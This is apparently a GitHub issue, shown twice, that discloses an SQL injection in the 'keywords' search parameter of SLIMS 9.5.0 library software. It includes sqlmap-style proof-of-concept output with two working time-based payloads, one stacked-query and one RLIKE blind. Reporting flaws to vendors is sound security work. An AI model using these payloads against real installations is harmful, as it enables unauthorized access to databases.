Hello, team, on the new version of your system SLIMS-9.5.0 you have an SQLi vulnerability in the parameter keywords.
PoC:
```MySQL
---
Parameter: keywords (GET)
    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: csrf_token=a1266f4d54772e420f61cc03fe613b994f282c15271084e39c31f9267b55d50df06861&search=search&keywords=tfxgst7flvw5snn6r1b24fnyu8neev6w4v6u1uik7''')));SELECT SLEEP(5)#

    Type: time-based blind
    Title: MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP - comment)
    Payload: csrf_token=a1266f4d54772e420f61cc03fe613b994f282c15271084e39c31f9267b55d50df06861&search=search&keywords=tfxgst7flvw5snn6r1b24fnyu8neev6w4v6u1uik7'''))) RLIKE (SELECT 9971 FROM (SELECT(SLEEP(5)))bdiv)#
---
```
## After:

- - - Multiple SQLi found.

![](https://raw.githubusercontent.com/nu11secur1ty/CVE-nu11secur1ty/main/vendors/slims.web.id/SLIMS-9.5.0/docs/M-SQLi.png)

BR @nu11secur1ty System Administrator - IT Infrastructure and Penetration Testing Engineer.
SQLi
This is a GitHub Issue
repo:slims9_bulian
owner:slims
Title : SQLi
Issue date:

--- start body ---
Hello, team, on the new version of your system SLIMS-9.5.0 you have an SQLi vulnerability in the parameter keywords.
PoC:
```MySQL
---
Parameter: keywords (GET)
    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: csrf_token=a1266f4d54772e420f61cc03fe613b994f282c15271084e39c31f9267b55d50df06861&search=search&keywords=tfxgst7flvw5snn6r1b24fnyu8neev6w4v6u1uik7''')));SELECT SLEEP(5)#

    Type: time-based blind
    Title: MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP - comment)
    Payload: csrf_token=a1266f4d54772e420f61cc03fe613b994f282c15271084e39c31f9267b55d50df06861&search=search&keywords=tfxgst7flvw5snn6r1b24fnyu8neev6w4v6u1uik7'''))) RLIKE (SELECT 9971 FROM (SELECT(SLEEP(5)))bdiv)#
---
```
## After:

- - - Multiple SQLi found.

![](https://raw.githubusercontent.com/nu11secur1ty/CVE-nu11secur1ty/main/vendors/slims.web.id/SLIMS-9.5.0/docs/M-SQLi.png)

BR @nu11secur1ty System Administrator - IT Infrastructure and Penetration Testing Engineer.
--- end body ---
